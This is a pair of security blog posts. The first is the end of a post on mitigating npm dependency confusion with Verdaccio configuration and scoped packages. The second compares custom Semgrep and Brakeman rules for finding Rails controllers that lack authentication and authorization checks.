After making this change and restarting Verdaccio, the following HTTP request and response triggered by npm update show that only the correct, internal version 1.0.0 of the package is installed:

GET /includesec-dependency-confusion HTTP/1.1
npm-in-ci: false
user-agent: npm/7.5.1 node/v15.8.0 win32 x64
pacote-version: 11.2.4
pacote-req-type: packument
pacote-pkg-id: registry:includesec-dependency-confusion
accept: application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, */*
npm-command: update
Connection: close
Accept-Encoding: gzip, deflate
Host: localhost:4873

HTTP/1.1 200 OK
X-Powered-By: verdaccio/4.11.0
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 16 Feb 2021 15:29:20 GMT
Connection: close
Content-Length: 1267

{
  "name": "includesec-dependency-confusion",
  "versions": {
    "1.0.0": {
      "name": "includesec-dependency-confusion",
      "version": "1.0.0",
      "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
      "main": "index.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1"
      },

     … 

  "dist-tags": {
    "latest": "1.0.0"
  },
  "_rev": "3-dc1db45b944128de",
  "_id": "includesec-dependency-confusion",
  "readme": "ERROR: No README data found!",
  "_attachments": {}
}

Additional Mitigation Steps

This post from GitHub breaks down the steps needed to mitigate Dependency Confusion vulnerabilities, and modifying the Verdaccio configuration as we’ve shown in this post handles one of their guidance steps: Step 3 – Take care when proxying. Ensuring all internal packages are scoped also helps mitigate these attacks. Scoped packages are those prefixed with @username — only the registry user with that username is allowed to publish packages under that scope, so an attacker would have to compromise that npmjs.org registry account in order to claim packages. Below is an example of a scoped package:

{
    "name": "@includesec/dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

When using Verdaccio, this also has the benefit of making it easy to disable proxying for all packages within your organization’s scope, instead of having to declare each package separately.

packages:
    '@includesec/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

See this whitepaper from Microsoft (Secure Your Hybrid Software Supply Chain) for information about other possible mitigations.

Summary

This post explores one potential root cause of Dependency Confusion vulnerabilities within the npm ecosystem–that is, unsafe default behavior within the private registry server being used. For example, Verdaccio proxies to npmjs.org for updates to internally published packages by default, which opens up developers to Dependency Confusion attacks when internal package names have not been claimed on the public registry.

To mitigate this issue, IncludeSec recommends modifying the Verdaccio configuration so that no internal packages are proxied. Other self-hosted npm registries should be reviewed to ensure similar behavior.

Additionally, internal packages should be scoped to make it more difficult for an adversary to claim the package names on public registries.

Also stay tuned; we’ll probably update this post soon with a v2 of how to integrate the “confused” tool into a CI/CD pipeline!

The post Dependency Confusion: When Are Your npm Packages Vulnerable? appeared first on Include Security Research Blog.

Custom Static Analysis Rules Showdown: Brakeman vs. Semgrep

In application assessments you have to do the most effective work you can in the time period defined by the client to maximize the assurance you’re providing. At IncludeSec we’ve done a couple innovative things to improve the overall effectiveness of the work we do, and we’re always on the hunt for more ways to squeeze even more value into our assessments by finding more risks and finding them faster. One topic that we revisit frequently to ensure we’re doing the best we can to maximize efficiency is static analysis tooling (aka SAST.)

Recently we did a bit of a comparison example of two open source static analysis tools to automate detection of suspicious or vulnerable code patterns identified during assessments. In this post we discuss the experience of using Semgrep and Brakeman to create the same custom rule within each tool for a client’s Ruby on Rails assessment our team was assessing. We’re also very interested in trying out GitHub’s CodeQL, but unfortunately the Ruby support is still in development so that will have to wait for another time.

Semgrep is a pattern-matching tool that is semantically-aware and works with several languages (currently its Ruby support is marked as beta, so it is likely not at full maturity yet). Brakeman is a long-lived Rails-specific static-analysis tool, familiar to most who have worked with Rails security. Going in, I had no experience writing custom rules for either one.

This blog post is specifically about writing custom rules for code patterns that are particular to the project I’m assessing. First though I want to mention that both tools have some pre-built general rules for use with most Ruby/Rails projects — Brakeman has a fantastic set of built-in rules for Rails projects that has proven very useful on assessments (just make sure the developers of the project haven’t disabled rules in config/brakeman.yml, and yes we have seen developers do this to make SAST warnings go away!). Semgrep has an online registry of user-submitted rules for Ruby that is also handy (especially as examples for writing your own rules), but the current rule set for Ruby is not quite as extensive as Brakeman. In Brakeman the rules are known as “checks”, for consistency we’ll use the term “rules” for both tools, but you the reader can just keep that fact in mind.

First custom rule: Verification of authenticated functionality

I chose a simple pattern for the first rule I wanted to make, mainly to familiarize myself with the process of creating rules in both Semgrep and Brakeman. The application had controllers that handle non-API routes. These controllers enforced authentication by adding a before filter: before_action :login_required. Often in Rails projects, this line is included in a base controller class, then skipped when authentication isn’t required using skip_before_filter. This was not the case in the webapp I was looking at — the before filter was manually set in every single controller that needed authentication, which seemed error-prone as an overall architectural pattern, but alas it is the current state of the code base.

I wanted to get a list of any non-API controllers that lack this callback so I can ensure no functionality is unintentionally exposed without authentication. API routes handled authentication in a different way so consideration for them was not a priority for this first rule.

Semgrep

I went to the Semgrep website and found that Semgrep has a nice interactive tutorial, which walks you through building custom rules. I found it to be incredibly simple and powerful — after finishing the tutorial in about 20 minutes I thought I had all the knowledge I needed to make the rules I wanted. Although the site also has an online IDE for quick iteration I opted to develop locally, as the online IDE would require submitting our client’s code to a 3rd party which we obviously can’t do for security and liability reasons. The rule would eventually have to be run against the entire codebase anyways.

I encountered a few challenges when writing the rule:

  • It’s a little tricky to find things that do not match a pattern (e.g. lack of a login_required filter). You can’t just search all files for ones that don’t match, you have to have a pattern that it does search for, then exclude the cases matching your negative pattern. I was running into a bug here that made it even harder but the Semgrep team fixed it when we gave them a heads up!
  • Matching only classes derived from ApplicationController was difficult because Semgrep doesn’t currently trace base classes recursively, so any that were more than one level removed from ApplicationController would be excluded (for example, if there was a class DerivedController < ApplicationController, it wouldn’t match SecondLevelDerivedController < DerivedController.) The Semgrep team gave me a tip about using a metavariable regex to filter for classes ending in “Controller” which worked for this situation and added no false positives.

My final custom rule for Semgrep follows:

rules:
- id: controller-without-authn
  patterns:
  - pattern: |
      class $CLASS
        ...
      end
  - pattern-not: |
      class $CLASS
        ...
        before_action ..., :login_required, ...
        ...
      end
  - metavariable-regex:
      metavariable: '$CLASS'
      regex: '.*Controller'  
  message: |
  $CLASS does not use the login_required filter.
  severity: WARNING
  languages:
  - ruby

I ran the rule using the following command: semgrep --config=../../../semgrep/ | grep "does not use"

The final grep is necessary because Semgrep will print the matched patterns which, in this case, were the entire classes. There’s currently no option in Semgrep to show only a list of matching files without the actual matched patterns themselves. That made it difficult to see the list of affected controllers, so I used grep on the output to filter the patterns out. This rule resulted in 47 identified controllers. Creating this rule originally took about two hours including going through the tutorial and debugging the issues I ran into but now that the issues are fixed I expect it would take less time in future iterations.

Overall I think the rule is pretty self-explanatory — it finds all files that define a class then excludes the ones that have a login_required before filter. Check out the semgrep tutorial lessons if you’re unsure.

Brakeman

Brakeman has a wiki page which describes custom rule building, but it doesn’t have a lot of detail about what functionality is available to you. It gives examples of finding particular method calls and whether user input finds their ways into these calls. There’s no example of finding controllers.

The page didn’t give any more about what I wanted to do so I headed off to Brakeman’s folder of built-in rules in GitHub to see if there are any examples of something similar there. There is a CheckSkipBeforeFilter rule which is very similar to what I want — it checks whether the login_required callback is skipped with skip_before_filter. As mentioned, the app isn’t implemented that way, but it showed me how to iterate controllers and check before filters.

This got me most of the way there but I also needed to skip API controllers for this particular app’s architecture. After about an hour of tinkering and looking through Brakeman controller tracker code I had the following rule:

require 'brakeman/checks/base_check'

class Brakeman::CheckControllerWithoutAuthn < Brakeman::BaseCheck
  Brakeman::Checks.add self

  @description = "Checks for a controller without authN"

  def run_check
  controllers = tracker.controllers.select do |_name, controller|
      not check_filters controller
  end
  Hash[controllers].each do |name, controller|
    warn  :controller => name,
          :warning_type => "No authN",
          :warning_code => :basic_auth_password,
          :message => "No authentication for controller",
          :confidence => :high,
          :file => controller.file
  end
  end

# Check whether a non-api controller has a :login_required before_filter
  def check_filters controller
  return true if controller.parent.to_s.include? "ApiController"
  controller.before_filters.each do |filter|
      next unless call? filter
      next unless filter.first_arg.value == :login_required
      return true
  end
  return false
  end
end

Running it with brakeman --add-checks-path ../brakeman --enable ControllerWithoutAuthn -t ControllerWithoutAuthn resulted in 43 controllers without authentication — 4 fewer than Semgrep flagged.

Taking a close look at the controllers that Semgrep flagged and Brakeman did not, I realized the app is importing shared functionality from another module, which included a login_required filter. Therefore, Semgrep had 4 false positives that Brakeman did not flag. Since Semgrep works on individual files I don’t believe there’s an easy way to prevent those ones from being flagged.

Second custom rule: Verification of correct and complete authorization across functionality

The next case I wanted assurance on was vertical authorization at the API layer. ApiControllers in the webapp have a method authorization_permissions() which is called at the top of each derived class with a hash table of function_name/permission pairs. This function saves the passed hash table into an instance variable. ApiControllers have a before filter that, when any method is invoked, will look up the permission associated with the called method in the hash table and ensure that the user has the correct permission before proceeding.

Manual review was required to determine whether any methods had incorrect privileges, as analysis tools can’t understand business logic, but they can find methods entirely lacking authorization control — that was my goal for these rules.

Semgrep

Despite being seemingly a more complex scenario, this was still pretty straightforward in Semgrep:

rules:
- id: method-without-authz
  patterns:
  - pattern: |
    class $CONTROLLER < ApiController
        ...
        def $FUNCTION
          ...
        end
    ...
    end
  - pattern-not: |
    class $CONTROLLER < ApiController
        ...
        authorization_permissions ... :$FUNCTION => ...
        ...
        def $FUNCTION
          ...
        end
    ...
    end
  message: |
  Detected api controller $CONTROLLER which does not check for authorization for the $FUNCTION method
  severity: WARNING
  languages:
  - ruby

It finds all methods on ApiControllers then excludes the ones that have some authorization applied. Semgrep found seven controllers with missing authorization checks.

Brakeman

I struggled to make this one in Brakeman at first, even thinking it might not be possible. The Brakeman team kindly guided me towards Collection#options which contains all method calls invoked at the class level excluding some common ones like before_filter. The following rule grabs all ApiControllers, looks through their options for the call to authorization_permissions, then checks whether each controller method has an entry in the authorization_permissions hash.

require 'brakeman/checks/base_check'

class Brakeman::CheckApicontrollerWithoutAuthz < Brakeman::BaseCheck
  Brakeman::Checks.add self

  @description = "Checks for an ApiController without authZ"

  def run_check

  # Find all api controllers
  api_controllers = tracker.controllers.select do |_name, controller|
      is_apicontroller controller
  end

  # Go through all methods on all ApiControllers
  # and find if they have any methods that are not in the authorization matrix
  Hash[api_controllers].each do |name, controller|
    perms = controller.options[:authorization_permissions].first.first_arg.to_s

    controller.each_method do |method_name, info|
      if not perms.include? ":#{method_name})"
        warn  :controller => name,
              :warning_type => "No authZ",
              :warning_code => :basic_auth_password,
              :message => "No authorization check for #{name}##{method_name}",
              :confidence => :high,
              :file => controller.file
      end
    end
  end
  end

  def is_apicontroller controller
  # Only care about controllers derived from ApiController
  return controller.parent.to_s.include? "ApiController"
  end

end

Using this rule Brakeman found the same seven controllers with missing authorization as Semgrep.

Conclusion

So who is the winner of this showdown? For Ruby, both tools are valuable, there is no definitive winner in our comparison when we’re specificially talking about custom rules. Currently I think Semgrep edges out Brakeman a bit for writing quick and dirty custom checks on assessments, as it’s faster to get going but it does have slightly more false positives in our limited comparison testing.

Semgrep rules are fairly intuitive to write and self explanatory; Brakeman requires additional understanding by looking into its source code to understand its architecture and also there is the need to use existing rules as a guide. After creating a few Brakeman rules it gets a lot easier, but the initial learning curve was a bit higher than other SAST tools. However, Brakeman has some sophisticated features that Semgrep does not, especially the user-input tracing functionality, that weren’t really shown in these examples. If some dangerous function is identified and you need to see if any user input gets to it (source/sink flow), that is a great Brakeman use case. Also, Brakeman’s default ruleset is great and I use them on every Rails test I do.

Ultimately Semgrep and Brakeman are both great tools with quirks and particular use-cases and deserve to be in your arsenal of SAST tooling. Enormous thanks to both Clint from the Semgrep team and Justin the creator of Brakeman for providing feedback on this post!

The post Custom Static Analysis Rules Showdown: Brakeman vs. Semgrep appeared first on Include Security Research Blog.

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